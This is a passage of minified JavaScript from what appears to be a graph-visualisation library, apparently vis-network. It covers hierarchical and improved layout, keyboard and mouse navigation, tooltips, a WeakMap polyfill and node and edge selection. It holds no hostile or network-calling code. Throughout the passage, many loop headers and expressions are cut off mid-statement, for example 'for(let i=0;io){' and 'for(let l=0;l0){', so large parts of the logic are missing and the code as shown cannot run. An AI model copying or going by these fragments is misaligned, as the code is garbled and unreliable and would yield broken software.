e}positionInitially(e){if(this.options.hierarchical.enabled!==!0){this._resetRNG(this.initialRandomSeed);const t=e.length+50;for(let i=0;io){const l=e.length;for(;e.length>o&&C<=10;){C+=1;const u=e.length;C%3===0?this.body.modules.clustering.clusterBridges(s):this.body.modules.clustering.clusterOutliers(s);const h=e.length;if(u==h&&C%3!==0){this._declusterAll(),this.body.emitter.emit("_layoutFailed"),console.info("This network could not be positioned by this version of the improved layout algorithm. Please disable improvedLayout for better performance.");return}}this.body.modules.kamadaKawai.setOptions({springLength:Math.max(150,2*l)})}C>10&&console.info("The clustering didn't succeed within the amount of interations allowed, progressing with partial result."),this.body.modules.kamadaKawai.solve(e,this.body.edgeIndices,!0),this._shiftToCenter();const a=70;for(let l=0;l0){let e,t,i=!1,C=!1;this.lastNodeOnLevel={},this.hierarchical=new G7;for(t in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,t)&&(e=this.body.nodes[t],e.options.level!==void 0?(i=!0,this.hierarchical.levels[t]=e.options.level):C=!0);if(C===!0&&i===!0)throw new Error("To use the hierarchical layout, nodes require either no predefined levels or levels have to be defined for all nodes.");{if(C===!0){const s=this.options.hierarchical.sortMethod;s==="hubsize"?this._determineLevelsByHubsize():s==="directed"?this._determineLevelsDirected():s==="custom"&&this._determineLevelsCustomCallback()}for(const s in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,s)&&this.hierarchical.ensureLevel(s);const o=this._getDistribution();this._generateMap(),this._placeNodesByHierarchy(o),this._condenseHierarchy(),this._shiftToCenter()}}}_condenseHierarchy(){var e=this;let t=!1;const i={},C=()=>{const D=s();let k=0;for(let V=0;V{const V=this.hierarchical.trees;for(const L in V)Object.prototype.hasOwnProperty.call(V,L)&&V[L]===D&&this.direction.shift(L,k)},s=()=>{const D=[];for(let k=0;k{if(!k[D.id]&&(k[D.id]=!0,this.hierarchical.childrenReference[D.id])){const V=this.hierarchical.childrenReference[D.id];if(V.length>0)for(let L=0;L1&&arguments[1]!==void 0?arguments[1]:1e9,V=1e9,L=1e9,Q=1e9,ne=-1e9;for(const J in D)if(Object.prototype.hasOwnProperty.call(D,J)){const le=e.body.nodes[J],ze=e.hierarchical.levels[le.id],Fe=e.direction.getPosition(le),[H,ee]=e._getSpaceAroundNode(le,D);V=Math.min(H,V),L=Math.min(ee,L),ze<=k&&(Q=Math.min(Fe,Q),ne=Math.max(Fe,ne))}return[Q,ne,V,L]},u=(D,k)=>{const V=this.hierarchical.getMaxLevel(D.id),L=this.hierarchical.getMaxLevel(k.id);return Math.min(V,L)},h=(D,k,V)=>{const L=this.hierarchical;for(let Q=0;Q1)for(let le=0;le2&&arguments[2]!==void 0?arguments[2]:!1;const L=e.direction.getPosition(D),Q=e.direction.getPosition(k),ne=Math.abs(Q-L),J=e.options.hierarchical.nodeSpacing;if(ne>J){const le={},ze={};a(D,le),a(k,ze);const Fe=u(D,k),H=l(le,Fe),ee=l(ze,Fe),Pe=H[1],pt=ee[0],xe=ee[2];if(Math.abs(Pe-pt)>J){let U=Pe-pt+J;U<-xe+J&&(U=-xe+J),U<0&&(e._shiftBlock(k.id,U),t=!0,V===!0&&e._centerParent(k))}}},m=(D,k)=>{const V=k.id,L=k.edges,Q=this.hierarchical.levels[k.id],ne=this.options.hierarchical.levelSeparation*this.options.hierarchical.levelSeparation,J={},le=[];for(let xe=0;xe{let U=0;for(let te=0;te{let U=0;for(let te=0;te{let U=this.direction.getPosition(k);const te={};for(let de=0;de{const R=this.direction.getPosition(k);if(i[k.id]===void 0){const z={};a(k,z),i[k.id]=z}const U=l(i[k.id]),te=U[2],de=U[3],pe=xe-R;let b=0;pe>0?b=Math.min(pe,de-this.options.hierarchical.nodeSpacing):pe<0&&(b=-Math.min(-pe,te-this.options.hierarchical.nodeSpacing)),b!=0&&(this._shiftBlock(k.id,b),t=!0)},Pe=xe=>{const R=this.direction.getPosition(k),[U,te]=this._getSpaceAroundNode(k),de=xe-R;let pe=R;de>0?pe=Math.min(R+(te-this.options.hierarchical.nodeSpacing),xe):de<0&&(pe=Math.max(R-(U-this.options.hierarchical.nodeSpacing),xe)),pe!==R&&(this.direction.setPosition(k,pe),t=!0)};let pt=H(D,le);ee(pt),pt=H(D,L),Pe(pt)},v=D=>{let k=this.hierarchical.getLevels();k=Un(k).call(k);for(let V=0;V{let k=this.hierarchical.getLevels();k=Un(k).call(k);for(let V=0;V{for(const D in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,D)&&this._centerParent(this.body.nodes[D])},x=()=>{let D=this.hierarchical.getLevels();D=Un(D).call(D);for(let k=0;k0&&Math.abs(p)0&&(u=this.direction.getPosition(C[s-1])+l),this.direction.setPosition(a,u,i),this._validatePositionAndContinue(a,i,u),o++}}}}_placeBranchNodes(e,t){var i;const C=this.hierarchical.childrenReference[e];if(C===void 0)return;const o=[];for(let a=0;at&&this.positionedNodes[l.id]===void 0){const h=this.options.hierarchical.nodeSpacing;let p;a===0?p=this.direction.getPosition(this.body.nodes[e]):p=this.direction.getPosition(o[a-1])+h,this.direction.setPosition(l,p,u),this._validatePositionAndContinue(l,u,p)}else return}const s=this._getCenterPosition(o);this.direction.setPosition(this.body.nodes[e],s,t)}_validatePositionAndContinue(e,t,i){if(this.hierarchical.isTree){if(this.lastNodeOnLevel[t]!==void 0){const C=this.direction.getPosition(this.body.nodes[this.lastNodeOnLevel[t]]);if(i-C{var C;Ge(C=this.body.edgeIndices).call(C,i.id)!==-1&&t.push(i)}),t}_getHubSizes(){const e={},t=this.body.nodeIndices;we(t,C=>{const o=this.body.nodes[C],s=this._getActiveEdges(o).length;e[s]=!0});const i=[];return we(e,C=>{i.push(Number(C))}),xi(i).call(i,function(C,o){return o-C}),i}_determineLevelsByHubsize(){const e=(i,C)=>{this.hierarchical.levelDownstream(i,C)},t=this._getHubSizes();for(let i=0;i{const s=this.body.nodes[o];C===this._getActiveEdges(s).length&&this._crawlNetwork(e,o)})}}_determineLevelsCustomCallback(){const t=function(C,o,s){},i=(C,o,s)=>{let a=this.hierarchical.levels[C.id];a===void 0&&(a=this.hierarchical.levels[C.id]=1e5);const l=t(Jt.cloneOptions(C,"node"),Jt.cloneOptions(o,"node"),Jt.cloneOptions(s,"edge"));this.hierarchical.levels[o.id]=a+l};this._crawlNetwork(i),this.hierarchical.setMinLevelToZero()}_determineLevelsDirected(){var e;const t=Iu(e=this.body.nodeIndices).call(e,(i,C)=>(i.set(C,this.body.nodes[C]),i),new YI);this.options.hierarchical.shakeTowards==="roots"?this.hierarchical.levels=L7(t):this.hierarchical.levels=j7(t),this.hierarchical.setMinLevelToZero()}_generateMap(){const e=(t,i)=>{this.hierarchical.levels[i.id]>this.hierarchical.levels[t.id]&&this.hierarchical.addRelation(t.id,i.id)};this._crawlNetwork(e),this.hierarchical.checkIfTree()}_crawlNetwork(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:function(){},t=arguments.length>1?arguments[1]:void 0;const i={},C=(o,s)=>{if(i[o.id]===void 0){this.hierarchical.setTreeIndex(o,s),i[o.id]=!0;let a;const l=this._getActiveEdges(o);for(let u=0;u{if(i[o])return;i[o]=!0,this.direction.shift(o,t);const s=this.hierarchical.childrenReference[o];if(s!==void 0)for(let a=0;a{const l=this.hierarchical.parentReference[a];if(l!==void 0)for(let u=0;u{const l=this.hierarchical.parentReference[a];if(l!==void 0)for(let u=0;u{this.activated=!0,this.configureKeyboardBindings()}),this.body.emitter.on("deactivate",()=>{this.activated=!1,this.configureKeyboardBindings()}),this.body.emitter.on("destroy",()=>{this.keycharm!==void 0&&this.keycharm.destroy()}),this.options={}}setOptions(e){e!==void 0&&(this.options=e,this.create())}create(){this.options.navigationButtons===!0?this.iconsCreated===!1&&this.loadNavigationElements():this.iconsCreated===!0&&this.cleanNavigation(),this.configureKeyboardBindings()}cleanNavigation(){if(this.navigationHammers.length!=0){for(let e=0;e{this._stopMovement()}),this.navigationHammers.push(o),this.iconsCreated=!0}bindToRedraw(e){if(this.boundFunctions[e]===void 0){var t;this.boundFunctions[e]=Q(t=this[e]).call(t,this),this.body.emitter.on("initRedraw",this.boundFunctions[e]),this.body.emitter.emit("_startRendering")}}unbindFromRedraw(e){this.boundFunctions[e]!==void 0&&(this.body.emitter.off("initRedraw",this.boundFunctions[e]),this.body.emitter.emit("_stopRendering"),delete this.boundFunctions[e])}_fit(){new Date().valueOf()-this.touchTime>700&&(this.body.emitter.emit("fit",{duration:700}),this.touchTime=new Date().valueOf())}_stopMovement(){for(const e in this.boundFunctions)Object.prototype.hasOwnProperty.call(this.boundFunctions,e)&&(this.body.emitter.off("initRedraw",this.boundFunctions[e]),this.body.emitter.emit("_stopRendering"));this.boundFunctions={}}_moveUp(){this.body.view.translation.y+=this.options.keyboard.speed.y}_moveDown(){this.body.view.translation.y-=this.options.keyboard.speed.y}_moveLeft(){this.body.view.translation.x+=this.options.keyboard.speed.x}_moveRight(){this.body.view.translation.x-=this.options.keyboard.speed.x}_zoomIn(){const e=this.body.view.scale,t=this.body.view.scale*(1+this.options.keyboard.speed.zoom),i=this.body.view.translation,C=t/e,o=(1-C)*this.canvas.canvasViewCenter.x+i.x*C,s=(1-C)*this.canvas.canvasViewCenter.y+i.y*C;this.body.view.scale=t,this.body.view.translation={x:o,y:s},this.body.emitter.emit("zoom",{direction:"+",scale:this.body.view.scale,pointer:null})}_zoomOut(){const e=this.body.view.scale,t=this.body.view.scale/(1+this.options.keyboard.speed.zoom),i=this.body.view.translation,C=t/e,o=(1-C)*this.canvas.canvasViewCenter.x+i.x*C,s=(1-C)*this.canvas.canvasViewCenter.y+i.y*C;this.body.view.scale=t,this.body.view.translation={x:o,y:s},this.body.emitter.emit("zoom",{direction:"-",scale:this.body.view.scale,pointer:null})}configureKeyboardBindings(){if(this.keycharm!==void 0&&this.keycharm.destroy(),this.options.keyboard.enabled===!0&&(this.options.keyboard.bindToWindow===!0?this.keycharm=lw({container:window,preventDefault:!0}):this.keycharm=lw({container:this.canvas.frame,preventDefault:!0}),this.keycharm.reset(),this.activated===!0)){var e,t,i,C,o,s,a,l,u,h,p,m,v,w,D,N,z,k,Y,j,K,Ae,q,re;Q(e=this.keycharm).call(e,"up",()=>{this.bindToRedraw("_moveUp")},"keydown"),Q(t=this.keycharm).call(t,"down",()=>{this.bindToRedraw("_moveDown")},"keydown"),Q(i=this.keycharm).call(i,"left",()=>{this.bindToRedraw("_moveLeft")},"keydown"),Q(C=this.keycharm).call(C,"right",()=>{this.bindToRedraw("_moveRight")},"keydown"),Q(o=this.keycharm).call(o,"=",()=>{this.bindToRedraw("_zoomIn")},"keydown"),Q(s=this.keycharm).call(s,"num+",()=>{this.bindToRedraw("_zoomIn")},"keydown"),Q(a=this.keycharm).call(a,"num-",()=>{this.bindToRedraw("_zoomOut")},"keydown"),Q(l=this.keycharm).call(l,"-",()=>{this.bindToRedraw("_zoomOut")},"keydown"),Q(u=this.keycharm).call(u,"[",()=>{this.bindToRedraw("_zoomOut")},"keydown"),Q(h=this.keycharm).call(h,"]",()=>{this.bindToRedraw("_zoomIn")},"keydown"),Q(p=this.keycharm).call(p,"pageup",()=>{this.bindToRedraw("_zoomIn")},"keydown"),Q(m=this.keycharm).call(m,"pagedown",()=>{this.bindToRedraw("_zoomOut")},"keydown"),Q(v=this.keycharm).call(v,"up",()=>{this.unbindFromRedraw("_moveUp")},"keyup"),Q(w=this.keycharm).call(w,"down",()=>{this.unbindFromRedraw("_moveDown")},"keyup"),Q(D=this.keycharm).call(D,"left",()=>{this.unbindFromRedraw("_moveLeft")},"keyup"),Q(N=this.keycharm).call(N,"right",()=>{this.unbindFromRedraw("_moveRight")},"keyup"),Q(z=this.keycharm).call(z,"=",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),Q(k=this.keycharm).call(k,"num+",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),Q(Y=this.keycharm).call(Y,"num-",()=>{this.unbindFromRedraw("_zoomOut")},"keyup"),Q(j=this.keycharm).call(j,"-",()=>{this.unbindFromRedraw("_zoomOut")},"keyup"),Q(K=this.keycharm).call(K,"[",()=>{this.unbindFromRedraw("_zoomOut")},"keyup"),Q(Ae=this.keycharm).call(Ae,"]",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),Q(q=this.keycharm).call(q,"pageup",()=>{this.unbindFromRedraw("_zoomIn")},"keyup"),Q(re=this.keycharm).call(re,"pagedown",()=>{this.unbindFromRedraw("_zoomOut")},"keyup")}}}class $7{constructor(e,t,i){var C,o,s,a,l,u,h,p,m,v,w,D,N;this.body=e,this.canvas=t,this.selectionHandler=i,this.navigationHandler=new J7(e,t),this.body.eventListeners.onTap=Q(C=this.onTap).call(C,this),this.body.eventListeners.onTouch=Q(o=this.onTouch).call(o,this),this.body.eventListeners.onDoubleTap=Q(s=this.onDoubleTap).call(s,this),this.body.eventListeners.onHold=Q(a=this.onHold).call(a,this),this.body.eventListeners.onDragStart=Q(l=this.onDragStart).call(l,this),this.body.eventListeners.onDrag=Q(u=this.onDrag).call(u,this),this.body.eventListeners.onDragEnd=Q(h=this.onDragEnd).call(h,this),this.body.eventListeners.onMouseWheel=Q(p=this.onMouseWheel).call(p,this),this.body.eventListeners.onPinch=Q(m=this.onPinch).call(m,this),this.body.eventListeners.onMouseMove=Q(v=this.onMouseMove).call(v,this),this.body.eventListeners.onRelease=Q(w=this.onRelease).call(w,this),this.body.eventListeners.onContext=Q(D=this.onContext).call(D,this),this.touchTime=0,this.drag={},this.pinch={},this.popup=void 0,this.popupObj=void 0,this.popupTimer=void 0,this.body.functions.getPointer=Q(N=this.getPointer).call(N,this),this.options={},this.defaultOptions={dragNodes:!0,dragView:!0,hover:!1,keyboard:{enabled:!1,speed:{x:10,y:10,zoom:.02},bindToWindow:!0,autoFocus:!0},navigationButtons:!1,tooltipDelay:300,zoomView:!0,zoomSpeed:1},ht(this.options,this.defaultOptions),this.bindEventListeners()}bindEventListeners(){this.body.emitter.on("destroy",()=>{clearTimeout(this.popupTimer),delete this.body.functions.getPointer})}setOptions(e){e!==void 0&&(Ks(["hideEdgesOnDrag","hideEdgesOnZoom","hideNodesOnDrag","keyboard","multiselect","selectable","selectConnectedEdges"],this.options,e),zg(this.options,e,"keyboard"),e.tooltip&&(ht(this.options.tooltip,e.tooltip),e.tooltip.color&&(this.options.tooltip.color=Gc(e.tooltip.color)))),this.navigationHandler.setOptions(this.options)}getPointer(e){return{x:e.x-u6(this.canvas.frame.canvas),y:e.y-d6(this.canvas.frame.canvas)}}onTouch(e){new Date().valueOf()-this.touchTime>50&&(this.drag.pointer=this.getPointer(e.center),this.drag.pinched=!1,this.pinch.scale=this.body.view.scale,this.touchTime=new Date().valueOf())}onTap(e){const t=this.getPointer(e.center),i=this.selectionHandler.options.multiselect&&(e.changedPointers[0].ctrlKey||e.changedPointers[0].metaKey);this.checkSelectionChanges(t,i),this.selectionHandler.commitAndEmit(t,e),this.selectionHandler.generateClickEvent("click",e,t)}onDoubleTap(e){const t=this.getPointer(e.center);this.selectionHandler.generateClickEvent("doubleClick",e,t)}onHold(e){const t=this.getPointer(e.center),i=this.selectionHandler.options.multiselect;this.checkSelectionChanges(t,i),this.selectionHandler.commitAndEmit(t,e),this.selectionHandler.generateClickEvent("click",e,t),this.selectionHandler.generateClickEvent("hold",e,t)}onRelease(e){if(new Date().valueOf()-this.touchTime>10){const t=this.getPointer(e.center);this.selectionHandler.generateClickEvent("release",e,t),this.touchTime=new Date().valueOf()}}onContext(e){const t=this.getPointer({x:e.clientX,y:e.clientY});this.selectionHandler.generateClickEvent("oncontext",e,t)}checkSelectionChanges(e){(arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1)===!0?this.selectionHandler.selectAdditionalOnPoint(e):this.selectionHandler.selectOnPoint(e)}_determineDifference(e,t){const i=function(C,o){const s=[];for(let a=0;a{const a=s.node;s.xFixed===!1&&(a.x=this.canvas._XconvertDOMtoCanvas(this.canvas._XconvertCanvasToDOM(s.x)+C)),s.yFixed===!1&&(a.y=this.canvas._YconvertDOMtoCanvas(this.canvas._YconvertCanvasToDOM(s.y)+o))}),this.body.emitter.emit("startSimulation")}else{if(e.srcEvent.shiftKey){if(this.selectionHandler.generateClickEvent("dragging",e,t,void 0,!0),this.drag.pointer===void 0){this.onDragStart(e);return}this.body.selectionBox.position.end={x:this.canvas._XconvertDOMtoCanvas(t.x),y:this.canvas._YconvertDOMtoCanvas(t.y)},this.body.emitter.emit("_requestRedraw")}if(this.options.dragView===!0&&!e.srcEvent.shiftKey){if(this.selectionHandler.generateClickEvent("dragging",e,t,void 0,!0),this.drag.pointer===void 0){this.onDragStart(e);return}const C=t.x-this.drag.pointer.x,o=t.y-this.drag.pointer.y;this.body.view.translation={x:this.drag.translation.x+C,y:this.drag.translation.y+o},this.body.emitter.emit("_requestRedraw")}}}onDragEnd(e){if(this.drag.dragging=!1,this.body.selectionBox.show){var t;this.body.selectionBox.show=!1;const i=this.body.selectionBox.position,C={minX:Math.min(i.start.x,i.end.x),minY:Math.min(i.start.y,i.end.y),maxX:Math.max(i.start.x,i.end.x),maxY:Math.max(i.start.y,i.end.y)},o=wt(t=this.body.nodeIndices).call(t,a=>{const l=this.body.nodes[a];return l.x>=C.minX&&l.x<=C.maxX&&l.y>=C.minY&&l.y<=C.maxY});De(o).call(o,a=>this.selectionHandler.selectObject(this.body.nodes[a]));const s=this.getPointer(e.center);this.selectionHandler.commitAndEmit(s,e),this.selectionHandler.generateClickEvent("dragEnd",e,this.getPointer(e.center),void 0,!0),this.body.emitter.emit("_requestRedraw")}else{const i=this.drag.selection;i&&i.length?(De(i).call(i,function(C){C.node.options.fixed.x=C.xFixed,C.node.options.fixed.y=C.yFixed}),this.selectionHandler.generateClickEvent("dragEnd",e,this.getPointer(e.center)),this.body.emitter.emit("startSimulation")):(this.selectionHandler.generateClickEvent("dragEnd",e,this.getPointer(e.center),void 0,!0),this.body.emitter.emit("_requestRedraw"))}}onPinch(e){const t=this.getPointer(e.center);this.drag.pinched=!0,this.pinch.scale===void 0&&(this.pinch.scale=1);const i=this.pinch.scale*e.scale;this.zoom(i,t)}zoom(e,t){if(this.options.zoomView===!0){const i=this.body.view.scale;e<1e-5&&(e=1e-5),e>10&&(e=10);let C;this.drag!==void 0&&this.drag.dragging===!0&&(C=this.canvas.DOMtoCanvas(this.drag.pointer));const o=this.body.view.translation,s=e/i,a=(1-s)*t.x+o.x*s,l=(1-s)*t.y+o.y*s;if(this.body.view.scale=e,this.body.view.translation={x:a,y:l},C!=null){const u=this.canvas.canvasToDOM(C);this.drag.pointer.x=u.x,this.drag.pointer.y=u.y}this.body.emitter.emit("_requestRedraw"),ithis._checkShowPopup(t),this.options.tooltipDelay))),this.options.hover===!0&&this.selectionHandler.hoverObject(e,t)}_checkShowPopup(e){const t=this.canvas._XconvertDOMtoCanvas(e.x),i=this.canvas._YconvertDOMtoCanvas(e.y),C={left:t,top:i,right:t,bottom:i},o=this.popupObj===void 0?void 0:this.popupObj.id;let s=!1,a="node";if(this.popupObj===void 0){const l=this.body.nodeIndices,u=this.body.nodes;let h;const p=[];for(let m=0;m0&&(this.popupObj=u[p[p.length-1]],s=!0)}if(this.popupObj===void 0&&s===!1){const l=this.body.edgeIndices,u=this.body.edges;let h;const p=[];for(let m=0;m0&&(this.popupObj=u[p[p.length-1]],a="edge")}this.popupObj!==void 0?this.popupObj.id!==o&&(this.popup===void 0&&(this.popup=new S6(this.canvas.frame)),this.popup.popupTargetType=a,this.popup.popupTargetId=this.popupObj.id,this.popup.setPosition(e.x+3,e.y-5),this.popup.setText(this.popupObj.getTitle()),this.popup.show(),this.body.emitter.emit("showPopup",this.popupObj.id)):this.popup!==void 0&&(this.popup.hide(),this.body.emitter.emit("hidePopup"))}_checkHidePopup(e){const t=this.selectionHandler._pointerToPositionObject(e);let i=!1;if(this.popup.popupTargetType==="node"){if(this.body.nodes[this.popup.popupTargetId]!==void 0&&(i=this.body.nodes[this.popup.popupTargetId].isOverlappingWith(t),i===!0)){const C=this.selectionHandler.getNodeAt(e);i=C===void 0?!1:C.id===this.popup.popupTargetId}}else this.selectionHandler.getNodeAt(e)===void 0&&this.body.edges[this.popup.popupTargetId]!==void 0&&(i=this.body.edges[this.popup.popupTargetId].isOverlappingWith(t));i===!1&&(this.popupObj=void 0,this.popup.hide(),this.body.emitter.emit("hidePopup"))}}var eK=Be,cw=$c,sr=qs.getWeakData,tK=qc,gK=vi,iK=DA,yu=Kt,nK=Wc,uw=Wi,dw=zt,hw=Gn,AK=hw.set,CK=hw.getterFor,IK=uw.find,oK=uw.findIndex,sK=eK([].splice),rK=0,rr=function(n){return n.frozen||(n.frozen=new fw)},fw=function(){this.entries=[]},bu=function(n,e){return IK(n.entries,function(t){return t[0]===e})};fw.prototype={get:function(n){var e=bu(this,n);if(e)return e[1]},has:function(n){return!!bu(this,n)},set:function(n,e){var t=bu(this,n);t?t[1]=e:this.entries.push([n,e])},delete:function(n){var e=oK(this.entries,function(t){return t[0]===n});return~e&&sK(this.entries,e,1),!!~e}};var aK={getConstructor:function(n,e,t,i){var C=n(function(l,u){tK(l,o),AK(l,{type:e,id:rK++,frozen:void 0}),iK(u)||nK(u,l[i],{that:l,AS_ENTRIES:t})}),o=C.prototype,s=CK(e),a=function(l,u,h){var p=s(l),m=sr(gK(u),!0);return m===!0?rr(p).set(u,h):m[p.id]=h,l};return cw(o,{delete:function(l){var u=s(this);if(!yu(l))return!1;var h=sr(l);return h===!0?rr(u).delete(l):h&&dw(h,u.id)&&delete h[u.id]},has:function(u){var h=s(this);if(!yu(u))return!1;var p=sr(u);return p===!0?rr(h).has(u):p&&dw(p,h.id)}}),cw(o,t?{get:function(u){var h=s(this);if(yu(u)){var p=sr(u);return p===!0?rr(h).get(u):p?p[h.id]:void 0}},set:function(u,h){return a(this,u,h)}}:{add:function(u){return a(this,u,!0)}}),C}},lK=_b,pw=ot,ar=Be,mw=$c,cK=qs,uK=Jc,vw=aK,lr=Kt,cr=Gn.enforce,dK=Ze,hK=Km,XI=Object,fK=Array.isArray,ur=XI.isExtensible,yw=XI.isFrozen,pK=XI.isSealed,bw=XI.freeze,mK=XI.seal,ww={},Ew={},vK=!pw.ActiveXObject&&"ActiveXObject"in pw,WI,Tw=function(n){return function(){return n(this,arguments.length?arguments[0]:void 0)}},Sw=uK("WeakMap",Tw,vw),IC=Sw.prototype,dr=ar(IC.set),yK=function(){return lK&&dK(function(){var n=bw([]);return dr(new Sw,n,1),!yw(n)})};if(hK)if(vK){WI=vw.getConstructor(Tw,"WeakMap",!0),cK.enable();var Ow=ar(IC.delete),hr=ar(IC.has),xw=ar(IC.get);mw(IC,{delete:function(n){if(lr(n)&&!ur(n)){var e=cr(this);return e.frozen||(e.frozen=new WI),Ow(this,n)||e.frozen.delete(n)}return Ow(this,n)},has:function(e){if(lr(e)&&!ur(e)){var t=cr(this);return t.frozen||(t.frozen=new WI),hr(this,e)||t.frozen.has(e)}return hr(this,e)},get:function(e){if(lr(e)&&!ur(e)){var t=cr(this);return t.frozen||(t.frozen=new WI),hr(this,e)?xw(this,e):t.frozen.get(e)}return xw(this,e)},set:function(e,t){if(lr(e)&&!ur(e)){var i=cr(this);i.frozen||(i.frozen=new WI),hr(this,e)?dr(this,e,t):i.frozen.set(e,t)}else dr(this,e,t);return this}})}else yK()&&mw(IC,{set:function(e,t){var i;return fK(e)&&(yw(e)?i=ww:pK(e)&&(i=Ew)),dr(this,e,t),i===ww&&bw(e),i===Ew&&mK(e),this}});var bK=je,wK=bK.WeakMap,EK=wK,TK=EK,SK=TK,qI=ae(SK);function qe(n,e,t,i){if(typeof e=="function"?n!==e||!i:!e.has(n))throw new TypeError("Cannot read private member from an object whose class did not declare it");return t==="m"?i:t==="a"?i.call(n):i?i.value:e.get(n)}function wu(n,e,t,i,C){if(typeof e=="function"?n!==e||!0:!e.has(n))throw new TypeError("Cannot write private member to an object whose class did not declare it");return e.set(n,t),t}typeof SuppressedError=="function"&&SuppressedError;var iA,Rg,rn,an,fr;function Nw(n,e){const t=new qg;for(const i of e)n.has(i)||t.add(i);return t}class Dw{constructor(){iA.set(this,new qg),Rg.set(this,new qg)}get size(){return qe(this,Rg,"f").size}add(){for(var e=arguments.length,t=new Array(e),i=0;i0&&arguments[0]!==void 0?arguments[0]:()=>{};rn.set(this,new Dw),an.set(this,new Dw),fr.set(this,void 0),wu(this,fr,e)}get sizeNodes(){return qe(this,rn,"f").size}get sizeEdges(){return qe(this,an,"f").size}getNodes(){return qe(this,rn,"f").getSelection()}getEdges(){return qe(this,an,"f").getSelection()}addNodes(){qe(this,rn,"f").add(...arguments)}addEdges(){qe(this,an,"f").add(...arguments)}deleteNodes(e){qe(this,rn,"f").delete(e)}deleteEdges(e){qe(this,an,"f").delete(e)}clear(){qe(this,rn,"f").clear(),qe(this,an,"f").clear()}commit(){const e={nodes:qe(this,rn,"f").commit(),edges:qe(this,an,"f").commit()};for(var t=arguments.length,i=new Array(t),C=0;C{this.updateSelection()})}setOptions(e){e!==void 0&&JA(["multiselect","hoverConnectedEdges","selectable","selectConnectedEdges"],this.options,e)}selectOnPoint(e){let t=!1;if(this.options.selectable===!0){const i=this.getNodeAt(e)||this.getEdgeAt(e);this.unselectAll(),i!==void 0&&(t=this.selectObject(i)),this.body.emitter.emit("_requestRedraw")}return t}selectAdditionalOnPoint(e){let t=!1;if(this.options.selectable===!0){const i=this.getNodeAt(e)||this.getEdgeAt(e);i!==void 0&&(t=!0,i.isSelected()===!0?this.deselectObject(i):this.selectObject(i),this.body.emitter.emit("_requestRedraw"))}return t}_initBaseEvent(e,t){const i={};return i.pointer={DOM:{x:t.x,y:t.y},canvas:this.canvas.DOMtoCanvas(t)},i.event=e,i}generateClickEvent(e,t,i,C){let o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!1;const s=this._initBaseEvent(t,i);if(o===!0)s.nodes=[],s.edges=[];else{const a=this.getSelection();s.nodes=a.nodes,s.edges=a.edges}C!==void 0&&(s.previousSelection=C),e=="click"&&(s.items=this.getClickedItems(i)),t.controlEdge!==void 0&&(s.controlEdge=t.controlEdge),this.body.emitter.emit(e,s)}selectObject(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.options.selectConnectedEdges;return e!==void 0?(e instanceof it?(t===!0&&this._selectionAccumulator.addEdges(...e.edges),this._selectionAccumulator.addNodes(e)):this._selectionAccumulator.addEdges(e),!0):!1}deselectObject(e){e.isSelected()===!0&&(e.selected=!1,this._removeFromSelection(e))}_getAllNodesOverlappingWith(e){const t=[],i=this.body.nodes;for(let C=0;C1&&arguments[1]!==void 0?arguments[1]:!0;const i=this._pointerToPositionObject(e),C=this._getAllNodesOverlappingWith(i);if(C.length>0)return t===!0?this.body.nodes[C[C.length-1]]:C[C.length-1]}_getEdgesOverlappingWith(e,t){const i=this.body.edges;for(let C=0;C1&&arguments[1]!==void 0?arguments[1]:!0;const i=this.canvas.DOMtoCanvas(e);let C=10,o=null;const s=this.body.edges;for(let a=0;a0&&(this.generateClickEvent("deselectEdge",t,e,o),i=!0),C.nodes.deleted.length>0&&(this.generateClickEvent("deselectNode",t,e,o),i=!0),C.nodes.added.length>0&&(this.generateClickEvent("selectNode",t,e),i=!0),C.edges.added.length>0&&(this.generateClickEvent("selectEdge",t,e),i=!0),i===!0&&this.generateClickEvent("select",t,e)}getSelection(){return{nodes:this.getSelectedNodeIds(),edges:this.getSelectedEdgeIds()}}getSelectedNodes(){return this._selectionAccumulator.getNodes()}getSelectedEdges(){return this._selectionAccumulator.getEdges()}getSelectedNodeIds(){var e;return jt(e=this._selectionAccumulator.getNodes()).call(e,t=>t.id)}getSelectedEdgeIds(){var e;return jt(e=this._selectionAccumulator.getEdges()).call(e,t=>t.id)}setSelection(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(!e||!e.nodes&&!e.edges)throw new TypeError("Selection must be an object with nodes and/or edges properties");if((t.unselectAll||t.unselectAll===void 0)&&this.unselectAll(),e.nodes)for(const i of e.nodes){const C=this.body.nodes[i];if(!C)throw new RangeError('Node with id "'+i+'" not found');this.selectObject(C,t.highlightEdges)}if(e.edges)for(const i of e.edges){const C=this.body.edges[i];if(!C)throw new RangeError('Edge with id "'+i+'" not found');this.selectObject(C)}this.body.emitter.emit("_requestRedraw"),this._selectionAccumulator.commit()}selectNodes(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(!e||e.length===void 0)throw"Selection must be an array with ids";this.setSelection({nodes:e},{highlightEdges:t})}selectEdges(e){if(!e||e.length===void 0)throw"Selection must be an array with ids";this.setSelection({edges:e})}updateSelection(){for(const e in this._selectionAccumulator.getNodes())Object.prototype.hasOwnProperty.call(this.body.nodes,e.id)||this._selectionAccumulator.deleteNodes(e);for(const e in this._selectionAccumulator.getEdges())Object.prototype.hasOwnProperty.call(this.body.edges,e.id)||this._selectionAccumulator.deleteEdges(e)}getClickedItems(e){const t=this.canvas.DOMtoCanvas(e),i=[],C=this.body.nodeIndices,o=this.body.nodes;for(let l=C.length-1;l>=0;l--){const h=o[C[l]].getItemsOnPoint(t);i.push.apply(i,h)}const s=this.body.edgeIndices,a=this.body.edges;for(let l=s.length-1;l>=0;l--){const h=a[s[l]].getItemsOnPoint(t);i.push.apply(i,h)}return i}}class zw{abstract(){throw new Error("Can't instantiate abstract class!")}fake_use(){}curveType(){return this.abstract()}getPosition(e){return this.fake_use(e),this.abstract()}setPosition(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:void 0;this.fake_use(e,t,i),this.abstract()}getTreeSize(e){return 